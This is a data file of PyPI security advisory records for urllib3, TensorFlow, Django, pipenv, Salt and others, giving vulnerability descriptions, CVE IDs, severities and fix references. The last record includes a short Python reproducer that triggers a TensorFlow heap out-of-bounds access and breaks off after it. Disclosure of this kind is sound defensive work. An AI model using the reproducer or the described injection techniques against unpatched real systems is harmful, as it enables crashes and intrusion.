PyPI | GHSA-mh33-7rrq-662w | Improper Certificate Validation | The urllib3 library before 1.24.2 for Python mishandles certain cases where the desired set of CA certificates is different from the OS store of CA certificates, which results in SSL connections succeeding in situations where a verification failure is the correct outcome. This is related to use of the ssl_context, ca_certs, or ca_certs_dir argument. | {'CVE-2019-11324'} | 2022-03-03T05:12:54.377391Z | 2019-04-19T16:55:10Z | HIGH | null | {'CWE-295'} | {'https://github.com/urllib3/urllib3/compare/a6ec68a...1efadf4', 'http://www.openwall.com/lists/oss-security/2019/04/19/1', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XOSA2NT4DUQDBEIWE6O7KKD24XND7TE2/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NKGPJLVLVYCL4L4B4G5TIOTVK4BKPG72/', 'http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00041.html', 'https://nvd.nist.gov/vuln/detail/CVE-2019-11324', 'https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html', 'https://usn.ubuntu.com/3990-1/', 'http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00039.html', 'https://access.redhat.com/errata/RHSA-2019:3335', 'https://pypi.org/project/urllib3/1.24.2/', 'https://access.redhat.com/errata/RHSA-2019:3590'} | null |
PyPI | PYSEC-2020-329 | null | In TensorFlow Lite before versions 2.2.1 and 2.3.1, models using segment sum can trigger a write out bounds / segmentation fault if the segment ids are not sorted. Code assumes that the segment ids are in increasing order, using the last element of the tensor holding them to determine the dimensionality of output tensor. This results in allocating insufficient memory for the output tensor and in a write outside the bounds of the output array. This usually results in a segmentation fault, but depending on runtime conditions it can provide for a write gadget to be used in future memory corruption-based exploits. The issue is patched in commit 204945b19e44b57906c9344c0d00120eeeae178a and is released in TensorFlow versions 2.2.1, or 2.3.1. A potential workaround would be to add a custom `Verifier` to the model loading code to ensure that the segment ids are sorted, although this only handles the case when the segment ids are stored statically in the model. A similar validation could be done if the segment ids are generated at runtime between inference steps. If the segment ids are generated as outputs of a tensor during inference steps, then there are no possible workaround and users are advised to upgrade to patched code. | {'CVE-2020-15214', 'GHSA-p2cq-cprg-frvm'} | 2021-12-09T06:35:15.686226Z | 2020-09-25T19:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p2cq-cprg-frvm', 'https://github.com/tensorflow/tensorflow/commit/204945b19e44b57906c9344c0d00120eeeae178a'} | null |
PyPI | PYSEC-2020-283 | null | In Tensorflow before versions 1.15.4, 2.0.3, 2.1.2, 2.2.1 and 2.3.1, by controlling the `fill` argument of tf.strings.as_string, a malicious attacker is able to trigger a format string vulnerability due to the way the internal format use in a `printf` call is constructed. This may result in segmentation fault. The issue is patched in commit 33be22c65d86256e6826666662e40dbdfe70ee83, and is released in TensorFlow versions 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1. | {'GHSA-xmq7-7fxm-rr79', 'CVE-2020-15203'} | 2021-12-09T06:34:42.062393Z | 2020-09-25T19:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-xmq7-7fxm-rr79', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html', 'https://github.com/tensorflow/tensorflow/commit/33be22c65d86256e6826666662e40dbdfe70ee83'} | null |
PyPI | PYSEC-2021-796 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions TFLite's [`expand_dims.cc`](https://github.com/tensorflow/tensorflow/blob/149562d49faa709ea80df1d99fc41d005b81082a/tensorflow/lite/kernels/expand_dims.cc#L36-L50) contains a vulnerability which allows reading one element outside of bounds of heap allocated data. If `axis` is a large negative value (e.g., `-100000`), then after the first `if` it would still be negative. The check following the `if` statement will pass and the `for` loop would read one element before the start of `input_dims.data` (when `i = 0`). We have patched the issue in GitHub commit d94ffe08a65400f898241c0374e9edc6fa8ed257. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'CVE-2021-37685', 'GHSA-c545-c4f9-rf6v'} | 2021-12-09T06:35:39.778016Z | 2021-08-12T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/d94ffe08a65400f898241c0374e9edc6fa8ed257', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c545-c4f9-rf6v'} | null |
PyPI | PYSEC-2022-6 | null | pipenv is a Python development workflow tool. Starting with version 2018.10.9 and prior to version 2022.1.8, a flaw in pipenv's parsing of requirements files allows an attacker to insert a specially crafted string inside a comment anywhere within a requirements.txt file, which will cause victims who use pipenv to install the requirements file to download dependencies from a package index server controlled by the attacker. By embedding malicious code in packages served from their malicious index server, the attacker can trigger arbitrary remote code execution (RCE) on the victims' systems. If an attacker is able to hide a malicious `--index-url` option in a requirements file that a victim installs with pipenv, the attacker can embed arbitrary malicious code in packages served from their malicious index server that will be executed on the victim's host during installation (remote code execution/RCE). When pip installs from a source distribution, any code in the setup.py is executed by the install process. This issue is patched in version 2022.1.8. The GitHub Security Advisory contains more information about this vulnerability. | {'GHSA-qc9x-gjcv-465w', 'CVE-2022-21668'} | 2022-01-19T19:22:23.694218Z | 2022-01-10T21:15:00Z | null | null | null | {'https://github.com/pypa/pipenv/releases/tag/v2022.1.8', 'https://github.com/pypa/pipenv/security/advisories/GHSA-qc9x-gjcv-465w', 'https://github.com/pypa/pipenv/commit/439782a8ae36c4762c88e43d5f0d8e563371b46f'} | null |
PyPI | PYSEC-2021-73 | null | An issue was discovered in SaltStack Salt before 3002.5. The minion's restartcheck is vulnerable to command injection via a crafted process name. This allows for a local privilege escalation by any user able to create a files on the minion in a non-blacklisted directory. | {'CVE-2020-28243'} | 2021-03-31T14:15:00Z | 2021-02-27T05:15:00Z | null | null | null | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YOGNT2XWPOYV7YT75DN7PS4GIYWFKOK5/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FUGLOJ6NXLCIFRD2JTXBYQEMAEF2B6XH/', 'https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/', 'https://github.com/stealthcopter/CVE-2020-28243', 'https://sec.stealthcopter.com/cve-2020-28243/', 'https://security.gentoo.org/glsa/202103-01', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7GRVZ5WAEI3XFN2BDTL6DDXFS5HYSDVB/'} | null |
PyPI | GHSA-mv2w-4jqc-6fg4 | Command injection in libvcs and vcspull | The package libvcs before 0.11.1 are vulnerable to Command Injection via argument injection. When calling the update_repo function (when using hg), the url parameter is passed to the hg clone command. By injecting some hg options it was possible to get arbitrary command execution. | {'CVE-2022-21187'} | 2022-04-04T21:47:00.808662Z | 2022-03-15T00:00:53Z | HIGH | null | {'CWE-77', 'CWE-74'} | {'https://github.com/vcs-python/libvcs/pull/306', 'https://github.com/vcs-python/vcspull/blob/master/CHANGES#vcspull-1111-2022-03-12', 'https://github.com/vcs-python/vcspull/commit/e1b77128a1fa0754625b5f43d8bc47956f21f33e', 'https://github.com/vcs-python/libvcs/blob/master/CHANGES#libvcs-0111-2022-03-12', 'https://snyk.io/vuln/SNYK-PYTHON-LIBVCS-2421204', 'https://github.com/vcs-python/libvcs/blob/v0.11.1/CHANGES%23libvcs-0111-2022-03-12', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21187'} | null |
PyPI | GHSA-2gwj-7jmv-h26r | SQL Injection in Django | An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs. | {'CVE-2022-28346'} | 2022-04-22T23:30:09.772227Z | 2022-04-13T00:00:33Z | CRITICAL | null | {'CWE-89'} | {'https://github.com/django/django', 'https://groups.google.com/forum/#!forum/django-announce', 'https://www.djangoproject.com/weblog/2022/apr/11/security-releases/', 'https://github.com/django/django/commit/93cae5cb2f9a4ef1514cf1a41f714fef08005200', 'http://www.openwall.com/lists/oss-security/2022/04/11/1', 'https://nvd.nist.gov/vuln/detail/CVE-2022-28346', 'https://docs.djangoproject.com/en/4.0/releases/security/', 'https://lists.debian.org/debian-lts-announce/2022/04/msg00013.html'} | null |
PyPI | GHSA-8rcj-c8pj-v3m3 | Reachable Assertion in Tensorflow | ### Impact
When decoding a resource handle tensor from protobuf, a TensorFlow process can encounter cases where a `CHECK` assertion is invalidated based on user controlled arguments. This allows attackers to cause denial of services in TensorFlow processes.
### Patches
We have patched the issue in GitHub commit [14fea662350e7c26eb5fe1be2ac31704e5682ee6](https://github.com/tensorflow/tensorflow/commit/14fea662350e7c26eb5fe1be2ac31704e5682ee6).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. | {'CVE-2022-23564'} | 2022-03-03T05:13:53.581634Z | 2022-02-09T23:55:28Z | MODERATE | null | {'CWE-617'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8rcj-c8pj-v3m3', 'https://github.com/tensorflow/tensorflow/commit/14fea662350e7c26eb5fe1be2ac31704e5682ee6', 'https://nvd.nist.gov/vuln/detail/CVE-2022-23564', 'https://github.com/tensorflow/tensorflow/'} | null |
PyPI | PYSEC-2021-112 | null | An integer overflow exists in pywin32 prior to version b301 when adding an access control entry (ACE) to an access control list (ACL) that would cause the size to be greater than 65535 bytes. An attacker who successfully exploited this vulnerability could crash the vulnerable process. | {'CVE-2021-32559', 'GHSA-hwfp-hg2m-9vr2'} | 2021-07-08T03:14:30.948663Z | 2021-07-06T12:15:00Z | null | null | null | {'https://github.com/mhammond/pywin32/releases', 'https://github.com/advisories/GHSA-hwfp-hg2m-9vr2', 'https://github.com/fireeye/Vulnerability-Disclosures/blob/master/FEYE-2021-0017/FEYE-2021-0017.md'} | null |
PyPI | PYSEC-2021-542 | null | TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.io.decode_raw` produces incorrect results and crashes the Python interpreter when combining `fixed_length` and wider datatypes. The implementation of the padded version(https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc) is buggy due to a confusion about pointer arithmetic rules. First, the code computes(https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L61) the width of each output element by dividing the `fixed_length` value to the size of the type argument. The `fixed_length` argument is also used to determine the size needed for the output tensor(https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L63-L79). This is followed by reencoding code(https://github.com/tensorflow/tensorflow/blob/1d8903e5b167ed0432077a3db6e462daf781d1fe/tensorflow/core/kernels/decode_padded_raw_op.cc#L85-L94). The erroneous code is the last line above: it is moving the `out_data` pointer by `fixed_length * sizeof(T)` bytes whereas it only copied at most `fixed_length` bytes from the input. This results in parts of the input not being decoded into the output. Furthermore, because the pointer advance is far wider than desired, this quickly leads to writing to outside the bounds of the backing data. This OOB write leads to interpreter crash in the reproducer mentioned here, but more severe attacks can be mounted too, given that this gadget allows writing to periodically placed locations in memory. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-8pmx-p244-g88h', 'CVE-2021-29614'} | 2021-12-09T06:35:01.093835Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8pmx-p244-g88h', 'https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d'} | null |
PyPI | PYSEC-2014-43 | null | at_download.py in Plone before 4.2.3 and 4.3 before beta 1 allows remote attackers to read arbitrary BLOBs (Files and Images) stored on custom content types via a crafted URL. | {'CVE-2012-5501'} | 2021-09-01T08:44:30.552304Z | 2014-09-30T14:55:00Z | null | null | null | {'https://github.com/plone/Products.CMFPlone/blob/4.2.3/docs/CHANGES.txt', 'https://plone.org/products/plone/security/advisories/20121106/17', 'https://plone.org/products/plone-hotfix/releases/20121106', 'http://www.openwall.com/lists/oss-security/2012/11/10/1'} | null |
PyPI | PYSEC-2021-811 | null | TensorFlow is an open source platform for machine learning. In affected versions an attacker can trigger undefined behavior, integer overflows, segfaults and `CHECK`-fail crashes if they can change saved checkpoints from outside of TensorFlow. This is because the checkpoints loading infrastructure is missing validation for invalid file formats. The fixes will be included in TensorFlow 2.7.0. We will also cherrypick these commits on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. | {'CVE-2021-41203', 'GHSA-7pxj-m4jf-r6h2'} | 2021-12-09T06:35:41.718393Z | 2021-11-05T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/b619c6f865715ca3b15ef1842b5b95edbaa710ad', 'https://github.com/tensorflow/tensorflow/commit/368af875869a204b4ac552b9ddda59f6a46a56ec', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7pxj-m4jf-r6h2', 'https://github.com/tensorflow/tensorflow/commit/abcced051cb1bd8fb05046ac3b6023a7ebcc4578', 'https://github.com/tensorflow/tensorflow/commit/e8dc63704c88007ee4713076605c90188d66f3d2'} | null |
PyPI | PYSEC-2020-112 | null | Tendenci 12.0.10 allows unrestricted deserialization in apps\helpdesk\views\staff.py. | {'GHSA-jqmc-fxxp-r589', 'CVE-2020-14942'} | 2020-06-26T19:34:00Z | 2020-06-21T15:15:00Z | null | null | null | {'https://github.com/tendenci/tendenci/issues/867', 'https://github.com/advisories/GHSA-jqmc-fxxp-r589'} | null |
PyPI | GHSA-p5w7-qmq6-pmjr | Users able to query database metadata in Apache Superset | In Apache Incubator Superset before 0.31 user could query database metadata information from a database he has no access to, by using a specially crafted complex query. | {'CVE-2019-12413'} | 2021-08-19T19:28:38Z | 2020-02-26T19:55:32Z | MODERATE | null | {'CWE-200'} | {'https://lists.apache.org/thread.html/85ab04f8c52df8c353ecfa0ecd2ff27fc07fb8ab7566a754349806be%40%3Cdev.superset.apache.org%3E', 'https://snyk.io/vuln/SNYK-PYTHON-APACHESUPERSET-558911', 'https://nvd.nist.gov/vuln/detail/CVE-2019-12413'} | null |
PyPI | PYSEC-2013-4 | null | Multiple cross-site scripting (XSS) vulnerabilities in Graphite before 0.9.11 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors. | {'CVE-2013-5943'} | 2021-07-05T00:01:21.777451Z | 2013-09-27T10:08:00Z | null | null | null | {'https://github.com/graphite-project/graphite-web/blob/master/docs/releases/0_9_11.rst', 'http://secunia.com/advisories/54556'} | null |
PyPI | PYSEC-2018-60 | null | Execution of Ansible playbooks on Windows platforms with PowerShell ScriptBlock logging and Module logging enabled can allow for 'become' passwords to appear in EventLogs in plaintext. A local user with administrator privileges on the machine can view these logs and discover the plaintext password. Ansible Engine 2.8 and older are believed to be vulnerable. | {'CVE-2018-16859'} | 2021-08-25T04:29:51.914778Z | 2018-11-29T18:29:00Z | null | null | null | {'http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html', 'http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16859', 'http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html', 'https://github.com/ansible/ansible/pull/49142', 'https://access.redhat.com/errata/RHSA-2018:3770', 'https://access.redhat.com/errata/RHSA-2018:3772', 'http://www.securityfocus.com/bid/106004', 'https://access.redhat.com/errata/RHSA-2018:3773', 'https://access.redhat.com/errata/RHSA-2018:3771'} | null |
PyPI | PYSEC-2022-34 | null | HTTPie is a command-line HTTP client. HTTPie has the practical concept of sessions, which help users to persistently store some of the state that belongs to the outgoing requests and incoming responses on the disk for further usage. Before 3.1.0, HTTPie didn‘t distinguish between cookies and hosts they belonged. This behavior resulted in the exposure of some cookies when there are redirects originating from the actual host to a third party website. Users are advised to upgrade. There are no known workarounds. | {'CVE-2022-24737', 'GHSA-9w4w-cpc8-h2fq'} | 2022-03-08T02:44:28.415437Z | 2022-03-07T23:15:00Z | null | null | null | {'https://github.com/httpie/httpie/releases/tag/3.1.0', 'https://github.com/httpie/httpie/commit/65ab7d5caaaf2f95e61f9dd65441801c2ddee38b', 'https://github.com/httpie/httpie/security/advisories/GHSA-9w4w-cpc8-h2fq'} | null |
PyPI | PYSEC-2009-3 | null | The Admin media handler in core/servers/basehttp.py in Django 1.0 and 0.96 does not properly map URL requests to expected "static media files," which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a crafted URL. | {'CVE-2009-2659'} | 2021-07-15T02:22:07.875702Z | 2009-08-04T16:30:00Z | null | null | null | {'http://www.securityfocus.com/bid/35859', 'http://www.djangoproject.com/weblog/2009/jul/28/security/', 'http://code.djangoproject.com/changeset/11353', 'https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00055.html', 'https://www.redhat.com/archives/fedora-package-announce/2009-August/msg00069.html', 'http://secunia.com/advisories/36137', 'http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=539134', 'http://secunia.com/advisories/36153', 'http://www.openwall.com/lists/oss-security/2009/07/29/2'} | null |
PyPI | PYSEC-2019-154 | null | The CreateID function in packet.py in pyrad before 2.1 uses sequential packet IDs, which makes it easier for remote attackers to spoof packets by predicting the next ID, a different vulnerability than CVE-2013-0294. | {'CVE-2013-0342'} | 2021-07-05T00:01:25.106986Z | 2019-12-09T21:15:00Z | null | null | null | {'http://www.openwall.com/lists/oss-security/2013/02/15/9', 'http://www.openwall.com/lists/oss-security/2013/02/22/2', 'http://www.openwall.com/lists/oss-security/2013/02/21/27', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/82134', 'https://bugzilla.redhat.com/show_bug.cgi?id=911685', 'http://www.securityfocus.com/bid/57984', 'https://github.com/pyradius/pyrad/commit/38f74b36814ca5b1a27d9898141126af4953bee5'} | null |
PyPI | PYSEC-2021-407 | null | TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for `DeserializeSparse` can trigger a null pointer dereference. This is because the shape inference function assumes that the `serialize_sparse` tensor is a tensor with positive rank (and having `3` as the last dimension). The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. | {'GHSA-x3v8-c8qx-3j3r', 'CVE-2021-41215'} | 2021-11-13T06:52:44.476075Z | 2021-11-05T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x3v8-c8qx-3j3r', 'https://github.com/tensorflow/tensorflow/commit/d3738dd70f1c9ceb547258cbb82d853da8771850'} | null |
PyPI | GHSA-wmg4-8cp2-hpg9 | Denial of service attack via memory exhaustion | ### Impact
Sydent does not limit the size of requests it receives from HTTP clients. A malicious user could send an HTTP request with a very large body, leading to disk space exhaustion and denial of service.
Sydent also does not limit response size for requests it makes to remote Matrix homeservers. A malicious homeserver could return a very large response, again leading to memory exhaustion and denial of service.
This affects any server which accepts registration requests from untrusted clients.
### Patches
Patched by 89071a1, 0523511, f56eee3.
### Workarounds
Request sizes can be limited in an HTTP reverse-proxy.
There are no known workarounds for the problem with overlarge responses.
### For more information
If you have any questions or comments about this advisory, email us at security@matrix.org. | {'CVE-2021-29430'} | 2022-03-03T05:12:47.055938Z | 2021-04-19T14:54:04Z | LOW | null | {'CWE-20', 'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-29430', 'https://github.com/matrix-org/sydent/commit/0523511d2fb40f2738f8a8549868f44b96e5dab7', 'https://github.com/matrix-org/sydent/commit/f56eee315b6c44fdd9f6aa785cc2ec744a594428', 'https://github.com/matrix-org/sydent/commit/89071a1a754c69a50deac89e6bb74002d4cda19d', 'https://github.com/matrix-org/sydent/releases/tag/v2.3.0', 'https://github.com/matrix-org/sydent/security/advisories/GHSA-wmg4-8cp2-hpg9', 'https://pypi.org/project/matrix-sydent/'} | null |
PyPI | PYSEC-2017-53 | null | Cross-site scripting (XSS) vulnerability in Plone 3.3.0 through 3.3.6, 4.0.0 through 4.0.10, 4.1.0 through 4.1.6, 4.2.0 through 4.2.7, 4.3.x before 4.3.7, and 5.0rc1. | {'CVE-2015-7316'} | 2021-07-25T23:34:48.448357Z | 2017-09-25T17:29:00Z | null | null | null | {'https://plone.org/security/hotfix/20150910/non-persistent-xss-in-plone', 'http://www.openwall.com/lists/oss-security/2015/09/22/14', 'https://bugzilla.redhat.com/show_bug.cgi?id=1264788', 'https://github.com/plone/Products.CMFPlone/commit/3da710a2cd68587f0bf34f2e7ea1167d6eeee087'} | null |
PyPI | GHSA-p5w8-wqhj-9hhf | StripComments filter contains a regular expression that is vulnerable to ReDOS (Regular Expression Denial of Service) | ### Impact
The formatter function that strips comments from a SQL contains a regular expression that is vulnerable to [ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) (Regular Expression Denial of Service). The regular expression may cause exponential backtracking on strings containing many repetitions of '\r\n' in SQL comments.
### Patches
The issues has been fixed in sqlparse 0.4.2.
### Workarounds
Only the formatting feature that removes comments from SQL statements is affected by this regular expression. As a workaround don't use the `sqlformat.format` function with keyword `strip_comments=True` or the `--strip-comments` command line flag when using the `sqlformat` command line tool.
### References
This issue was discovered by GitHub team members @erik-krogh and @yoff. It was found using a [CodeQL](https://codeql.github.com/) query which identifies inefficient regular expressions. You can see the results of the query on python-sqlparse by following [this link](https://lgtm.com/query/2223658096471222354/).
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [sqlparse issue tracker](https://github.com/andialbrecht/sqlparse/issues)
* Email us at [albrecht.andi@gmail.com](mailto:albrecht.andi@gmail.com)
| {'CVE-2021-32839'} | 2022-03-03T05:13:53.522940Z | 2021-09-10T17:56:06Z | HIGH | null | {'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-32839', 'https://securitylab.github.com/advisories/GHSL-2021-107-andialbrecht-sqlparse/', 'https://github.com/andialbrecht/sqlparse/commit/8238a9e450ed1524e40cb3a8b0b3c00606903aeb', 'https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-p5w8-wqhj-9hhf', 'https://github.com/andialbrecht/sqlparse'} | null |
PyPI | PYSEC-2013-10 | null | pyshop before 0.7.1 uses HTTP to retrieve packages from the PyPI repository, and does not perform integrity checks on package contents, which allows man-in-the-middle attackers to execute arbitrary code via a crafted response to a download operation. | {'CVE-2013-1630'} | 2021-07-05T00:01:25.257414Z | 2013-08-06T02:52:00Z | null | null | null | {'https://github.com/mardiros/pyshop/blob/master/CHANGES.txt', 'http://www.reddit.com/r/Python/comments/17rfh7/warning_dont_use_pip_in_an_untrusted_network_a/', 'https://github.com/mardiros/pyshop/commit/ffadb0bcdef1e385884571670210cfd6ba351784'} | null |
PyPI | PYSEC-2021-684 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-mqh2-9wrp-vx84', 'CVE-2021-29558'} | 2021-12-09T06:35:24.786927Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mqh2-9wrp-vx84', 'https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31'} | null |
PyPI | GHSA-cqff-fx2x-p86v | Improper Authentication | ### Impact
A maliciously crafted claim may be incorrectly authenticated by the bot. Impacts bots that are not configured to be used as a Skill. This vulnerability requires an attacker to have internal knowledge of the bot.
### Patches
The problem has been patched in all affected versions. Please see the list of patched versions for the most appropiate one for your individual case.
### Workarounds
Users who do not wish or are not able to upgrade can add an authentication configuration containing ClaimsValidator, which throws an exception if Claims are Skill Claims.
For detailed instructions, see the link in the References section.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [Microsoft Bot Builder SDK](https://github.com/microsoft/botframework-sdk)
* Email us at [bf-reports@microsoft.com](mailto:bf-reports@microsoft.com) | null | 2022-03-03T05:13:20.070301Z | 2021-03-08T15:50:10Z | HIGH | null | {'CWE-287'} | {'https://github.com/microsoft/botbuilder-python/security/advisories/GHSA-cqff-fx2x-p86v', 'https://pypi.org/project/botframework-connector/', 'https://github.com/microsoft/botbuilder-python/blob/main/doc/SkillClaimsValidation.md'} | null |
PyPI | PYSEC-2021-391 | null | TensorFlow is an open source platform for machine learning. In affected versions if `tf.tile` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow. The number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. | {'GHSA-2p25-55c9-h58q', 'CVE-2021-41198'} | 2021-11-13T06:52:42.007550Z | 2021-11-05T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f', 'https://github.com/tensorflow/tensorflow/issues/46911', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2p25-55c9-h58q'} | null |
PyPI | PYSEC-2021-24 | null | ### Impact Missing input validation of some parameters on the endpoints used to confirm third-party identifiers could cause excessive use of disk space and memory leading to resource exhaustion. ### Patches Fixed by 3175fd3. ### Workarounds There are no known workarounds. ### References n/a ### For more information If you have any questions or comments about this advisory, email us at security@matrix.org. | {'CVE-2021-29433', 'GHSA-pw4v-gr34-2553'} | 2021-04-22T17:17:00Z | 2021-04-15T18:15:00Z | null | null | null | {'https://pypi.org/project/matrix-sydent/', 'https://github.com/matrix-org/sydent/security/advisories/GHSA-pw4v-gr34-2553'} | null |
PyPI | GHSA-j667-c2hm-f2wp | Insertion of Sensitive Information into Log File and Improper Output Neutralization for Logs in ansible | A flaw was found in the Ansible Engine when using module_args. Tasks executed with check mode (--check-mode) do not properly neutralize sensitive data exposed in the event data. This flaw allows unauthorized users to read this data. The highest threat from this vulnerability is to confidentiality. | {'CVE-2020-14332'} | 2022-04-07T15:17:03.397277Z | 2022-02-09T21:59:39Z | MODERATE | null | {'CWE-117', 'CWE-532'} | {'https://github.com/ansible/ansible/pull/71033', 'https://nvd.nist.gov/vuln/detail/CVE-2020-14332', 'https://github.com/ansible/ansible', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-14332', 'https://www.debian.org/security/2021/dsa-4950'} | null |
PyPI | GHSA-6mx3-3vqg-hpp2 | Django allows unprivileged users can read the password hashes of arbitrary accounts | An issue was discovered in Django 2.1 before 2.1.2, in which unprivileged users can read the password hashes of arbitrary accounts. The read-only password widget used by the Django Admin to display an obfuscated password hash was bypassed if a user has only the "view" permission (new in Django 2.1), resulting in display of the entire password hash to those users. This may result in a vulnerability for sites with legacy user accounts using insecure hashes. | {'CVE-2018-16984'} | 2022-04-26T18:47:54.797514Z | 2018-10-03T20:07:39Z | MODERATE | null | {'CWE-522'} | {'https://security.netapp.com/advisory/ntap-20190502-0009/', 'https://www.djangoproject.com/weblog/2018/oct/01/security-release/', 'http://www.securitytracker.com/id/1041749', 'https://github.com/advisories/GHSA-6mx3-3vqg-hpp2', 'https://nvd.nist.gov/vuln/detail/CVE-2018-16984'} | null |
PyPI | GHSA-j257-jfvv-h3x5 | Privilege Escalation in Channelmgnt plug-in for Sopel | ### Impact
Malicious users are able to op/voice and take over a channel
### Patches
On version 1.0.3
### Workarounds
Disable channelmgnt
### References
https://phab.bots.miraheze.wiki/T117
### For more information
If you have any questions or comments about this advisory:
* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org) | {'CVE-2020-15251'} | 2022-03-03T05:13:37.295089Z | 2020-10-13T17:30:30Z | HIGH | null | {'CWE-863', 'CWE-862'} | {'https://github.com/MirahezeBots/sopel-channelmgnt/pull/3', 'https://github.com/MirahezeBots/MirahezeBots', 'https://github.com/MirahezeBots/sopel-channelmgnt/security/advisories/GHSA-j257-jfvv-h3x5', 'https://phab.bots.miraheze.wiki/T117', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15251', 'https://pypi.org/project/sopel-plugins.channelmgnt/', 'https://phab.bots.miraheze.wiki/phame/live/1/post/1/summary/', 'https://github.com/MirahezeBots/MirahezeBots/security/advisories/GHSA-23pc-4339-95vg'} | null |
PyPI | GHSA-cgfm-62j4-v4rf | Heap out of bounds access in sparse reduction operations | ### Impact
The implementation of sparse reduction operations in TensorFlow can trigger accesses outside of bounds of heap allocated data:
```python
import tensorflow as tf
x = tf.SparseTensor(
indices=[[773, 773, 773], [773, 773, 773]],
values=[1, 1],
dense_shape=[337, 337, 337])
tf.sparse.reduce_sum(x, 1)
```
